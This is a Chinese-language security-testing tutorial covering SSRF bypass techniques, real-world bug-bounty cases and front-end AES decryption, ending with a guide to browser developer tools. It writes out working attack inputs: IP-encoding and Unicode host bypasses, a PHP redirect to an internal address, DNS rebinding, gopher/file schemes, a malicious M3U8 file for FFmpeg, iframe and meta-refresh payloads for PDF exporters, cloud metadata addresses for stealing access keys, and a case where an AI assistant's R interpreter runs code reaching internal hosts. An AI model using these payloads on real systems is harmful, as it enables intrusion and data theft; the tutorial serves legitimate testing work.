服务端请求伪造(SSRF)攻击不仅限于简单的内部端口扫描和攻击内网服务,如前面提到的Redis或存在Log4jRC漏洞的服务。它还可以用于更复杂的攻击模式,例如:
- 攻击K8S KubeletAPI: 在云环境中,KubeletAPI允许查询集群中Pod和Node的信息,并能通过该接口执行命令。尽管为了安全起见,此服务一般不对外开放,但攻击者可以利用SSRF访问KubeletAPI,从而获取信息并执行命令。
- 攻击Docker Remote API: Docker Remote API是一个RESTAPI,默认开放端口为2375,用来替代远程命令行界面(rcli)。如果该API存在未授权访问问题,攻击者能够利用它执docker命令,获取敏感信息甚至服务器root权限。由于安全考虑,通常不会在外网开放此API,因此可通过SSRF尝试攻击那些仅在内网可用的Docker Remote API.
- 越权攻击云平台其他组件或服务: 在云环境中,各组件间相互信任,若某个组件或服务存在SSRF漏洞,则可被利用来越权攻击其他组件或服务。例如,用户正常请求服务A时,如果服务A存在SSRF漏洞,可以通过构造请求让服务A访问服务B,因服务间的信任关系,服务B不对来自服务A的请求进行额额外校验,从而实现对服务B资源的越权操作。
- 绕过CDN获取真实IP地址: 利用SSRF攻击,可以绕过内容分发网络(CDN),直接获取目标服务器的真实IP地址
- 绕过限制访问内网系统: 攻击者可通过SSRF漏洞利用服务器代理进行内网系统的访问,从而攻击内网系统。
- Metadata泄露: 在云环境里,元数据包含了实例的相关配置和管理信息。攻击者可以通过SSRF访问这些元数据,特别是其中存储的临时密钥或者启动脚本中的敏感信息(如AK、密码、源码等,以获得受害者账户下更多服务(如COS、ECS、集群等)的访问权限。
- 等等
SSRF绕过技巧
使用@绕过
当我们需要通过URL发送用户名和密码时,可以使用 http://username:[email protected] ,此时@前的字符会被当成用户名密码处理,@后面的字符才是我们请求的地址。
即 http://[email protected] --> 跳转到 http://baidu.com 请求时是相同的,而这种方法有时可以绕过系统的地址的检测。
IP地址进制转换
一些开发者会通过对传过来的URL参数进行正则匹配的方式来过滤掉内网IP,如采用如下正则表达式
^10(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){3}$ ^172\.([1][6-9]|[2]\d|3[01])(\.([2][0-4]\d|[2][2][5][0-5]|[01]?\d)}{2}$ ^192\.168(\.([2][0-4]\d|[2][5][0-5][01]?\d?\d)) (2}$
开发人员通常只针对点分十进制格式的IP地址进行正则匹配,而忽略了其他进制表示的可能性。以下是常见的IP地址变体:
八进制格式
- 示例:192.168.0.1可以写成0300.0250.0.1
- 原理:每个部分用八进制表示,前缀加0表示八进制。
十六进制格式
- 示例:192.168.0.1可以写成0xC0.0xA8.0.1
- 原理:每个部分用十六进制表示,前缀加0x表示十六进制。
十进制整数格式
- 示例:192.168.0.1可以写成3232235521
- 原理:将整个IP地址视为一个32位整数(192*256^3+168*256^2+0*256^1 + 1 * 256 0) .
十六进制整数格式
- 示例:192.168.0.1可以写成0xC0A80001
- 原理:将IP地址直接转换为32位的十六进制整数。
其他特殊写法
除了上述常见的变体外,还有一些特殊的IP地址写法可能被利用:
回来环地址的多种形式:
127.0.0.1 可以写成 127.1 或者 0177.0.0.1
IPv4映射到IPv6
::ffff:192.168.0.1 是IPv6中的IPv4映射地址,可以用于绕过仅检查IPv4的过滤规则
进制在转换
例如:121.36.194.32 –> 十进制 2032452128
省略模式
在某些情况下,IP地址可以被省略部分字段,默认值会自动填充为0,例如:
- 示例: 10.0.0.1可以写成 10.1。
- 原理: 浏览器或解析器会自动补全缺失的部分为0,因此10.1实际上等价手10.0.0.0.1,
类似的例子还包括:
- 192.168.1 等价手192,168.0.1。
- 127.1等价手127.0.0.1
混合进制
攻击者还可以混合使用不同进制来构造|P地址,进一步增加绕过的可能性。例如:
- 0xC0.168.0.1(前两部分分别是十六进制和十进制)
- 192.0xA8.0.1(第一、第三部分是十进制,第二部分是十六进制)。
IPv6格式
#本地的回环地址 http://[::1] http://[::] http://[::]:80/ http://0000::1:80/
URL短网址绕过
利用跳转行为,让请求脱离白名单限制。
https://ssrf.xx.com/ssrf --> http://i7q.cn/5G92sv
添加端口绕过匹配正则
127.0.0.1:80 10.0.2.1:8080
利用封闭式字母数字绕过
封闭式字母数字(Enclosed Alphanumerics)是一个Unicode块,其中包台圆形,支架或其他非封闭外壳内的字母数字印刷符号,或句号结尾。封闭的字母数字块包含一个表情符号,封闭的M用作掩码工作的符号。它默认为文本显示,并且定义了两个标准化变体,用于指定表情符号样式或文本表示。这些字符也是可从被浏览器识别的,而开发人员有时会忽略这一点。
利用Enclosed alphanumerics ①②⑦。0。0。① -->127.0.01 ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ --> example.com List: ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
127。0。0。1>>>127.0.0.1某些业务场景可能将中文字符转换成英文字符
利用302跳转绕过
当限制只允许HTTP(s)访问或者对请求的HOST做了正确的校验后,可以通过30x方式跳转进行绕过。
比如我们可以搭建一个服务在收到目标服务器的请求后添加一个Location响应头重定向至内网服务器
<?php header("location: http://10.1.2.1"); ?>
http://attack.com/302.php --> http://10.1.2.1
利用非HTTP协议绕过
file:/// dict:// jar:// ftp:// tftp:// Idap:// gopher:// 等等
DNS重定向欺骗
开发人员在构建SSRF防护时,只考虑到了域名,没有考虑到域名解析后的IP,则存在被利用域名解析服务来绕过的可能。可自行使用域名进行IP解析从而进行利用,也可以使用第三方的:
10.0.0.1.nip.io app.10.0.0.1.nip.io
DNS重绑定绕过
相关工具: https://lock.cmpxchg8b.com/rebinder.html
访问lock.cmpxchg8b.com/rebinder.html 生成域名可解析成外网和内网地址 A 121.36.194.32 B 10.0.12.1 结果:7924c220.0a000c01.rbndr.us
~]#ping 7924c220.0a000c01.rbndr.us 3 packets transmitted, 0 received, 100% packet loss, time 2047ms PING 7924c220.0a000c01.rbndr.us (121.36.194.32) 56(84) bytes of data PING 7924c220.0a000c01.rbndr.us (10.0.12.1) 56(84) bytes of data. --- 7924c220.0a000c01.rbndr.us ping statistics ]# ping 7924c220.0a000c01.rbndr.us 64 bytes from ecs-121-36-194-32.compute.hwclouds-dns.com (121.36.194.32): q=1 ttl=122 time=2.38 ms 64 bytes from ecs-121-36-194-32.compute.hwclouds-dns.com (121.36.194.32): ttl=122 tine=1.59 ms 64 bytes from ecs-121-36-194-32.compute.hwclouds-dns.com (121.36.194.32): eq=3 ttl=122 time=1.51 ms
第2部分
通用2个真实案例来展开讲解。
案例1-URL跳转绕过
比如我们找到一个功能点可以去请求URL,例如url链接添加
#页面 新建文件夹 上传素材 | 本地上传 URL链接添加
在网址处添加src提供的ssrf网址,提交后可以看到给出的提示是url测试有误,不允许文章ssrf测试的网址,是被黑名单给禁用了。
#页面 网址:https://xxxx - 提交 ------------------------------ url测试有误,错误: 不允许访问https://xxx #这里使用SRC提供的SSRF测试地址测试,发现被黑名单禁用
发现被黑名单禁用,一些官方的域名没法直接访求,我们这里尝试直接转换成短连接。
测试
短连接网址: https://tool.chinaz.com/tools/dwz.aspx
测试,使用短连接地址可以直接绕过。
- 说明网站只是做了url字符匹配,没有验证短连接跳转到哪个地址。
确认ssrf是否打通
使用dnslog日志,证明可通内网。
- 生成一个域名用于伪造请求,看漏洞服务器是否发起 DNS 解析请求,若成功访问在dnslog平台如 http://dnslog.cn 上就会有解析日志
案例2-AI语言解析器SSRF漏洞利用
这里有个 AI 助手,有语言解析器,猜测能够执行相关语言信息,例如python解析器、R语言解析器、JS语言解析器等都可以进度尝试。
可以看到在聊天框中有个R语言解析器功能。
在聊天的过程中,用户可以直接输入R语言代码,借助该解析器快速对代码进行分析、调试与运行,及时得到相应的结果反馈
#AI界面 系统预置提示词 R语言解程器 #角色(Role)我希望你充当R解释器,找将输入命令,思将回复终满应显示的内容,我希 ------------------ | | | | |R语言解释器------
我们可以写一个R语言脚本去请求内网URL/
- 元数据地址并且返回内容。
#加载httr库
library(httr)
#指定要请求的URL
url <- "https://xxxxxx.com"
#发送GET请求
response <
- GET(url)
#检查请求是否成功
if (status_code(response) = 200) ( # 200表示请求成功
#获取响应体内容
content <- content(response, as = "text")
print(content)
} else {
print(paste("请求失败,状态码为:",
status_code(response)))
}
当我们把写好的R语言代码发送给AI助手之后,可以看到AI助手直接执行了我们的代码,并且成功访问了内网地址。
所以,我们不要把AI看作只是聊天的工具,它背后可能完整连接着编程运行环境。如果没有做好隔离,这些功能就是潜在的打通接口,值得在SSRF挖掘中重点关注。
第3部分
PDF导出SSRF原理
漏洞原理
在一些应用程序中,可能存在将包含iframe的网页内容导出为其他格式(如PDF图片等)的功能。如果在导出过程中,应用程序对iframe的来源和内容没有进行严格的验证和过滤,攻击者就可能利用这个漏洞,通过注入恶意的iframe来实现SSRF攻击。
攻击者可以构造一个包含指向内部网络资源或其他敏感地址的iframe,当应用程序尝试导出包含该iframe的网页内容时,就会向攻击者指定的地址发送请求,从而可能获取到敏感信息或执行其他恶意操作。
实现方式
构造恶意frume: 攻击者首先需要构造一个iframe标签,将其src属性设置为指向目标内部网络资源或敏感服务的地址。例如
<iframe src='http://oa.com/admin'></iframe>",其中http://oa.com/adm 是内部网络中需要被攻击的敏感页面地址。
注入恶意frame: 攻击者通过各种方式将构造好的恶意iframe注入到目标应用程序的网页中。
这可能是通过利用应用程序中的输入漏洞,如表单输入、评论框等,将iframe代码作为输入提交;或者如果应用程序允许上传HTML文件等,将包含恶意iframe的HTML文件上传到服务器。
触发导出功能: 攻击者诱导用户或通过其他方式使应用程序执行导出包含恶意iframe的网页内容的操作。例如,
用户可能被诱骗点击一个"导出为PDF"或"保存为图片"的按钮,从而触发应用程序的得出功能。
获取敏感信息或执行恶意操作: 当应用程序在导出过程中处理iframe时,会向iframe的src属性指定的地址发送请求。
如果目标地址是一个敏感服务,攻击者就可能获取到敏感信息,如内部系统的登录凭证、用户数据等;或者如果目标服务存在漏洞,攻击者还可能通过发送恶意请求执行远程命令,进一步控制目标系统
案例1-PDF导出实现SSRF利用
打开https://www.xxx.com/ 文章导出PDF的功能点
#页面 导出为--PDF
点击导出PDF的时候,发现一个非常有趣的参数: html,对此分析之后,发现这是后端将前端获取到的内容转换成html格式,再传入后端导出为PDF格式的文件。
#burp suite抓包 { "html": "<style>\n anticon {\n display: xxxxxx}" } #响应信息 { "data": { "link": "https://xxxx.com/xxxx/download" } }
这里他就是把文章的内容转换成html格式,再进行导出给出一个pdf的文件去下载查看导出的内容,那么这里可以把html参数值的内容改成iframe标签去访问ssrf的地址。
#burp suite抓包 修改 Sec-Fetch-Dest:empty Accept-Encoding:gzip,deflate Accept-Language: zh-CN, zh;q=0.9 Priority: u=1, i { "html": "<iframe src=\"http://:xxxxxxxxxxI\">", "exportType"=2 } #返回信息 { "status":"success", "data": { "Link":"https://xxxx/dowload" } }
再去打开下载的pdf地址就可以获取到请求的ssrf地址的内容信息。
PS:IFRAME是HTML标签,作用是文档中的文档,或者浮动的框架(FRAME)。iframe元素会创建包含有另外一个文档的内联框架。
如果它只返回了一个空的iframe框架给我,可以尝试一下meta标签,并且设置为0秒刷新请求。
<meta http-equiv="refresh" content="0;url=http://xxx.xxx.com" />
<li>1</li><meta http-equiv=\"refresh\'" content=\"0;url=http://ssrf.xxxx \"/>
最终绕过,成功拿着返回的pdf文件下载地址,成功访问了目标内网的ssrf测试地址信息
#PDF内容,显示跳转请求后的信息
案例2-通过云厂商OpenAPI中寻找SSRF
OpenAPI是什么呢?
OpenAPl是指开放应用程序编程接口(Open Application Programming Interface)的简称。OpenAPI是指对外提供的可供开发者进行程序化访问的接口,这个接口可能是针对某个特定的、可能具有专有性质的软件应用程序或网络服务。
API可以视为一层封装,它允许开发人员访问和使用某些功能或数据,而无需了解背后的详细实现,API文档是API的使用手册,包含如何构建API请求和响应有关的信息。OpenAPI则是提供给开发者的一系列开放的应用程序接口,使得开发者可以通过这些应用程序接口来管理云上资源、数据和服务等内容。
OpenAPl通常基于常见的网络协议,如HTTP/HTTPS,使用RESTful架构风格。数据传输格式一般采用JSON或XML,这些格式具有良好的可读性和可解析性,便于不同平台和语言之间的交渲
其中怎么快速去寻找SSRF漏洞?
找到一些能够输入URL的相应功能点,比如一些输入文件的URL、文档链接、图片链接、视频链接等。把他们换成内网的请求。
这里我们只需要填入无回显的SSRF测试地址即可,无回显一般是通过302跳转进行验证,例如
请求http://ssrf.xxx.com/xxx.php?host=yourdnslog.domain ,若你的yopurdnslog.domain服务器收到请求, 说明存在无回显ssrf漏洞
这里会对URL文件进行处理,导致SSRF漏洞,同理。如果存在全回显的话也可以进行全回显测试。
第4部分
案例1-通过Grafana可视化工具实现SSRF
漏洞原理
Grafana是一个开源的可视化监控工具,支持多种数据源。当Grafana配置不当或存在漏洞时,攻击者可能通过精心构造的请求,利用Grafana服务器对外部资源的请求功能,将服务器作为代理,向其他受限制的网络或敏感服务发送请求,从而获取敏感信息或执行其他恶意操作。
实现方式
数据源配置利用: Grafana支持多种数据源,如Prometheus、InfluxDB等。
如果攻击者能够修改数据源的配置,例如将数据源的地址设置为恶意的内部服务地址,Grafana在尝试连接该数据源时,就会发送请求到攻击者指定的地址,从而实现SSRF。
例如,攻击者将Prometheus数据源的地址修改为指向内部的数据库服务器,就可能获取到数据库的相关信息。
插件漏洞利用: Grafana的一些插件可能存在安全漏洞,攻击者可以利用这些漏洞,通过插件向Grafana发送特制的请求,触发Grafana服务器发起对其他系统的请求。
比如,某个插件在处理用户输入的URL参赛对没有进行严格的验证,攻击者就可以利用这个参数注入恶意的URL,让Grafana服务器去访问该URL,进而实现SSRR攻击。
模板注入利用: 在Grafana的模板功能中,如果模板变量的处理存在漏洞,攻击击者可以通过注入恶意的模板变量值,来改变Grafana生成的查询或请求,使其指向攻击者想要的目标。
例如,攻击者通过模板注入,修改了查询语句中的数据源地址,导致Grafana向恶意地址发送请求,从而引发SSRF。
当我们拿到一个Grafana,除了能进后台以外还能实现SSRF内网探测,获取全回显SSRF,提升漏洞等级
- 菜单栏–>数据源-添加数据源
- 选择Prometheus它是一个开源的系统监控和警报工具
- 填入需要全回显测试的内网地址或者dnslog地址,请求方法可以是GET
- 保存并测试。就可以看到回包了
案例2-并发利用ffmpeg组件实现SSRF漏洞
FFmpeg简介
FFmpeg作为领先的多媒体处理框架,被广泛应用于:
- 视频转码(H.264/HEVC)
- 流媒体服务(RTMP/HLS)
- 音视频剪辑(滤镜处理)
- 格式转换 (MP4/AVI/FLV)
#典型转码命令示例 ffmpeg -i input.mp4 -c:v libx264 output.avi
漏洞原理
当处理HLS播放列表(M3U8文件)时,FFmpeg会: 1.自动追踪EXT-X-BYTERANGE标签 2.未校验文件路径合法性 3.支持file:, http: 等协议处理
由于在解析流媒体m3u8文件时处理不当,可导致SSRF漏洞与任意文件读取双漏洞,当网站允许用户上传多媒体文件,并使用FFmpeg进行处理时会触发该漏洞。
#恶意M3U8示例 #EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10.0, https://test.ssrf.123.com #EXT-X-ENDLIST
- 常用利用点: 上传视频音频处,例如能够上传mp4/avi等格式的音频文件
- 冷门利用点: APP(新建ssrf.mp4文件存储到手机目录,APP上发布视频时上传)
首先我们准备一个mp4格式的文件,例如ssrf.mp4,文件内容如下:
#EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10.0, http://xxx.cn/ssrf #EXT-X-ENDLIST
其中http://tooou.cn/ssrf 为SRC提供的测试无回显的SSRF地址,这里我将其转换成了短链接,方便绕过策略和限制。
然后我们寻找能够上传视频的地方,例如短视频服务,因此存在很多上传的地方。
#页面 发布视频 添加视频
例如最终的上传请求如下:
#burp suite 抓包修改 POST /upload/v1/B0muE HTTP/2 Host: xxx.xxxxx.com Content-Length:85 Origin:https://xxx.xxxxx.com Sec-Fetch-Site:cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://xxx.xxxx.com/ Accept-Encoding:gzip, deflate, br Accept-Language: zh-CN, zh;q=0.9 Priority:u=1, i #EXTM3U #EXT-X-MEDIA-SEQUENCE : 0 #EXTINF :10.0, http://xxx.cn/ssrf #EXT-X-ENDLIST
如果碰到WAF拦截,可尝试fuzz,例如多并发,burp设置一下即可
- Intruder–>Payload
- Payload sets: Payload type: Null payloads
- Payload settings [Null payloads]: Generate 9999 payloads
- Resource pool
- 50线程
第5部分
案例1-沙箱产品导致的RCE+SSRF
安全沙箱是什么?
安全沙箱(Security Sandbox)是一种隔离的运行环境,其主要目的是为了保户主系统(宿主机)的安全。它通过将可疑程序、不受信任的代码或潜在危险的操作限制在一个与真实系统和数据隔离的"沙箱"内运行,从而防止恶意行为对真实环境造成破坏。
安全沙箱的核心原理
- 隔离: 通常通过虚拟化技术、容器化技术或操作系统级别的权限控制来实现
- 限制: 对沙箱内的程序权限进行严格限制,例如禁止修改关键系统文件、禁止发起网络连接、禁止访问用户敏感数据等
常见的沙箱技术
- 虚拟机(VM): 如VMware、VirtualBox,提供强隔离,但资源消耗较大。
- 容器(Container): 如Docker,轻量级隔离,共享操作系统内核。
- 操作系统级沙箱: 如Windows的"Windows Sandbox"、Linux的chroot、seccomp、AppArmor等
- 浏览器沙箱: Chrome的多进程架构和沙箱机制
寻找哪些产品会把沙箱能力对外提供。
上传木马程序,访问企业内部环境。
案例2-通过SSRF获取AKSK
功能设计与访问逻辑的组合。获取到原本只有在内部访问的数据。
服务器在获取URL时,会自动发起请求。
#burp 抓包 GET /v1/link/info?url=https://www.meituan.com/?src=web HTTP/2
通过访问元数据可以获取到敏感信息。
- 阿里云元数据地址:http://100.100.100.200/
- 腾讯云元数据地址:http://metadata.tencentyun.com/
- 华为云元数据地址:http://169.254.169.254/
- 亚马云元数据地址:http://169.254.169.254/
- 微软云元数据地址:http://169.254.169.254/
- 谷歌云元数据地址:http://metadata.google.internal/
- 京东云元数据地址:http://169.254.169.254
- 火山引擎元数据地址:http://100.96.0.96
- 天翼云引擎元数据地址:http://169.254.169.254
案例3-通过云游戏终端跳转进行SSRF
如在游戏终端操作
- 在线联系客服,发送url
- 点用户协议,找到社区,发评论url
加密解密
第1部分AES
AES算法原理
AES (Advanced Encryption Standard,高级加密标准)是一种对称加密算法,被广泛用于保护数据的安全传输和存储。AES由美国国家标准与技术研究院(NIST)于2001年发布,旨在替代旧的DES (Datta Encryption Standard)。它支持使用128、192或256位密钥长度进行加密,并且可以在多种模式下操作,如ECB、CBC、CFB、OFB和GCM等。
基本概念
对称加密
- 在对称加密中,加密和解密过程使用相同的密钥。
- 这意味着发送方和接收方必须共享同一个密钥,而这个密钥需要通过安全的方式代传递。
AES特性
- 块大小: AES固定使用128位(16字节)的块大小。
- 密钥长度: 支持三种不同的密钥长度:128位、192位和256位。密钥越长,安全性越高,但计算成本也越大。
- 工作模式: AES可以在不同的模式下操作,每种模式都有其特点和适用场景
工作模式
ECB
每一块数据单独拿出来用密钥加密,互不影响。
CBC
在ECB的基础上,在加密每块数据群时,先拿这一块前一块密文做一次异或的运算,然后再加密。
但第1块前面没有数据,需要设置初始化向量偏移用来引导第一块。
CFB
有点像流式加密。用前一段的密文经过AES变换再和当前的明文进行异或,得到新的密文。
特点是,可以一点一点地加密。边来边加密,不需要等16个字节满了再加密。
OFB
OFB和CFB很像。区别是它不是拿前一段密文来影响下一段,而是一直用AES本身来生成密钥流,这个流和明文异或过后就变成了密文。
好处:比如网络抖了一下,只会影响当前这一块。
GCM
最强的模式。它不光能加密还能验证数据的完整性,即它结合了计数器模式和认证机制。除了加密,还能判断密文有没有篡改。
AES加密解密流程
加密流程
- 选择密钥: 根据需求选择128位、192位或256位的密钥。
- 选择模式: 根据应用场景选择合适的工作模式。
- 处理数据: 如果数据长度不是块大小的整数倍,则需要填充(例如PKCS7填充)。
- 执行加密: 按照所选模式执行加密操作。
解密流程
- 获取密钥: 确保拥有正确的密钥。
- 选择模式: 必须与加密时使用的模式一致。
- 移除填充: 如果加密时添加了填充,则在解密后需要移除填充
- 执行解密: 按照所选模式执行解密操作。
案例1-通用解密获取订单数据
打开某个网站的功能点。
#页面 xxx ”查询“按钮
通过js分析获取到存在漏洞的接口
for(; ;) switch (e.prev - e.next) { case 0: return e.next = 2, tt.a.get("/xxx/receviInfo", { orderId: t }); case 2: xxxx }
发现接口存在越权漏洞,但是手机号和姓名是加密的,需要解密才可能到明文信息
#burpsuite抓包 把订单ID改成别的值 GET xxx/receviInfo?orderId=1&xxx HTTP/2 #返回不同的订单信息,说明存在越权访问问题 ... username": "qgPDZSkdC/cDd+UQpImov0==", phone": "ud9100tJ7M4JhT+Rq2AXNg=", ovinceld":13,
通过js分析看到是AES加密,如下代码意思:
- AES加密
- ECB运算模式
- Pkcs7填充模式
我们还需拿到密钥才行
var n = p.a.enc.Utf8.parse(t) , r = p.a.AES.decrypt(e, n, { mode: p.a. mode. ECB, padding: p.a.pad.Pkcs7
js分析看到有个请求是获取AES的密钥key
case 0: return t = "xxxx/aesKey", e.next = 3, tt.a.post(t, 0);
请求接口获取到AESkey密钥值
#burpsuite 抓包 POST xxx/aesKey HTTP/2 #返回密钥值 { "code": 200, "message": null, "result": "k9Fr3Fpxxxxxdllr", "success": true }
打开在线加解密网站:https://www.toolhelper.cn/SymmetricEncryption/AES
- 运算模式ECB ,填充方式PKCS7,密钥长度128,密钥Text: k9Fr3Fpxxxxxdllr
解密ECB模式只需要密钥即可解密拿到明文信息。
案例2-绕过随机key进行解密获取用户信息
发现网站上所有接口功能点都做过加密处理,可以看到请求和响应包都是加密的,我们是不是无从下手?
#页面 xxxx 查询
因为加密必须在前端实现。
我们可以对当前加密接口打断点调试
import { bQ as e } from './index.14c2bb5e.js'; const a = a => e().post('api/wwxxxx', a), // 这里打断点
到这里可以看到是AES的加密,CBC运算模式,Pkcs7填充模式,但是这里需要key和iv偏移。
n => {
n.url.indexOf(?') > 0?n.url += '&app_key=' + Kj : n.url += '?app_keye' . Kj
let r = n.data;
//这里
n.data = function (e, t, n) {
let r = $R.enc.Utf8.parse(t),
o = $R.enc.Utf8.parse(n),
a = $R.AES.encrypt(e, r, {
iv: o,
mode:$R.mode.CBC,
padding: $R.pad.Pkcs7
});
return $R.enc.Base64.stringify(a.ciphertext)
}(r,e,t);
let o = function (e, t){
key和iv值是e和t调用的UR方法
let e = UR(), t = UR()
跟进UR,可以看到UR方法中key和iv的值是随机的
function UR(){ const e = "0123456789abcdefghijklmopqrstuvwayzABCDEFGHIJKLMNOPQRSTUVWXYZ'; //e "0123456789abcdefghijklmopqrstuvwayzABCDEFGHIJKLMNOPQRSTUVWXYZ' let t = "; //t "8JHErPA19A2LQKDv" for (let n = 0;n<16;n++) t += e[Math.floor(Math.random() e.length)]; return t } function gR(e) { return '0123456789abcdefghijklmopqrstuvayz'.charAt(e) } function WR(e,t) {
可以看到的是,e和t每次获取过来的值都是随机的key和iv值
Yj = function () [ let e = UR(), // e: "7i68ZHQAlsIfY2uw" t = UR (): // t: "wSshm0abc02aXDB0"
例如我们刷新第二次,发现key和iv变化了,成了随机值,我们怎么办?
Jj = 'production', Yj = function() { let e = UR(), //e "8JHErPA19A2LOKDV" t = UR(); // t: "D9BNCfCNAJZfMKCQ"
记住:再复杂的逻辑也是代码写出来的,代码在哪控制权就在哪。
那必须得办! 随机的key和iv每次加密都是不一样的值那么解密也是不一样的值很麻烦, 这里就可以直接写死key和iv,这样网站的所有请求都走我们固定的key和iv值,开测览器代理流量走进来就可以,直接流量代理替换所有的随机key和iv。
burpsuite修改替换功能,将响应体中生成key和iv的代码替换成我们固定的key和iv
- Proxy–>Poxy settings –> HTTP match/replace rule
Edit match/replace rule Type: Response body Match: let e=UR(),t=UR(); Replace: let e = "hu9jpMrmP872UdHY", t = "jG7NPK5fUil84GgN"; Comment:
随便刷新页面,查看js可以看到key和iv的值已经写进去了!
找到存在漏洞的功能点,比如这里是列表存在漏洞
#页面 用户名 账号状态 手机呈 邮箱 查询
请求数据包是加密的,现在用的是我们设置好固定的key和iv值的加密。
#点击查询,burpsuite抓包 xxx密文
对xxx密文解密,想越权,我们就修改完明文数据包再加密回去,重新发起请求。
替换修改后的加密请求包,可以看到这里成功获取到信息。解密一下响应数据包即可查看明文数据,成功越权到别人的敏感信息。
浏览器开发者模式F12
F12界面简介
- Elements(元素面板)
- 功能:查看和编辑当前页面的 HTML 和 CSS。
- 关键部分:
- DOM 树:以层级结构展示 HTML 元素,可实时编辑(双击修改)。
- Styles 窗格:显示当前选中元素的 CSS 样式,支持添加、修改或禁用样式。
- Computed 窗格:展示元素最终计算后的所有 CSS 属性(包括继承的样式)。
- Event Listeners:查看元素绑定的事件监听器。
- Console(控制台面板)
- 功能:
- 显示 JavaScript 的 日志(console.log())、错误或警告。
- 直接执行 JavaScript 代码(用于调试或测试)。
- 常用命令:console.log()、debugger、document.querySelector() 等。
- 功能:
- Sources(源代码面板)
- 功能:调试 JavaScript 代码。
- 关键部分:
- 文件导航:查看网页加载的所有脚本、HTML、CSS 文件。
- 代码调试:设置断点、单步执行、查看变量值。
- Snippets:保存和运行代码片段。
- Network(网络面板)
- 功能:记录所有网络请求(XHR、JS、CSS、图片等)。
- 关键信息:
- 请求列表:显示每个请求的状态(200、404 等)、类型、大小、耗时。
- Preview/Response:查看请求的返回内容。
- Waterfall:可视化请求的加载时间线。
- 用途:分析页面性能、API 接口调试。
- Performance(性能面板)
- 功能:分析页面的运行时性能(CPU、内存、渲染等)。
- 操作流程:点击“录制”按钮,执行页面操作后停止,生成性能报告。
- 关键指标:FPS、CPU 占用、渲染时间、长任务(Long Tasks)。
- Memory(内存面板)
- 功能:分析内存泄漏或内存占用问题。
- 常用工具:
- Heap Snapshot:堆内存快照,查看对象分配情况。
- Allocation Timeline:跟踪内存分配时间线。
- Application(应用面板)
- 功能:管理网页的存储和缓存数据。
- 关键部分:
- Local Storage/Session Storage:查看或修改键值对。
- Cookies:管理当前页面的 Cookie。
- Cache:查看 Service Worker 或 IndexedDB 数据。
- Manifest:PWA 应用的配置信息。
- Security(安全面板)
- 功能:检查页面的 HTTPS 证书、混合内容问题等安全信息。
- Lighthouse(灯塔面板)
- 功能:自动化测试网页的性能、SEO、可访问性等,生成优化建议报告。
其他实用功能:
- 设备模式(Device Mode)(左上角图标):模拟移动设备视图、屏幕尺寸、网络速度等。
- 快捷键:Esc 打开/关闭底部抽屉(可同时使用 Console 或其他面板)。
- 设置:点击右上角齿轮图标可调整开发者工具的主题、布局等。
常见用途示例:
- 修改页面样式:在 Elements 面板调整 CSS。
- 调试 JavaScript:在 Sources 面板设置断点。
- 分析接口请求:在 Network 面板查看 API 返回数据。
- 检查性能瓶颈:使用 Performance 面板录制页面交互。
调试界面
调试界面
- Page文件导航区(左侧)
- 功能:显示当前页面加载的所有脚本文件(HTML、JS、CSS 等)。
- 关键部分:
- Page:按域名分类的文件(网页本身的资源)。
- Filesystem:如果启用了本地工作区(Workspace),可以直接编辑本地文件。
- Overrides:允许覆盖网络请求返回的文件(用于本地修改调试)。
- Content scripts:浏览器扩展注入的脚本。
- Snippets:保存和运行自定义代码片段(类似临时脚本)。
- 代码编辑区(中间)
- 功能:查看和编辑源代码,设置断点调试。
- 关键操作:
- 行号点击:在行号左侧点击可设置/取消断点(Breakpoint)。
- 条件断点:右键行号 → Add conditional breakpoint(仅在满足条件时暂停)。
- 代码修改:直接编辑代码(需配合 Filesystem 或 Overrides 保存)。
- 调试控制栏(顶部)
- 提供代码执行控制按钮:
- 按钮/快捷键 功能
- ⏸ (F8) 暂停/继续(恢复脚本执行)。
- ⏭ (F10) 单步跳过(Step Over):执行当前行,不进入函数内部。
- ⏯ (F11) 单步进入(Step Into):进入当前行的函数内部调试。
- ⏮ (Shift+F11) 单步跳出(Step Out):跳出当前函数,回到调用处。
- ↻ 重启当前函数调用栈(重新调试)。
- ▢ 停用所有断点(临时禁用断点)。
- 右侧调试信息面板
- 1) Watch(监视表达式)
- 功能:手动添加变量或表达式,实时查看其值。
- 操作:点击 + 输入变量名(如 count)或表达式(如 arr.length)。
- 2) Call Stack(调用栈)
- 功能:显示当前代码执行路径(函数调用顺序)。
- 用途:回溯代码执行流程,点击可跳转到对应函数。
- 3) Scope(作用域)
- 功能:显示当前断点处的变量作用域(包括闭包)。
- Local:当前函数的局部变量。
- Closure:闭包作用域内的变量。
- Global:全局变量(如 window)。
- 用途:检查变量值是否符合预期。
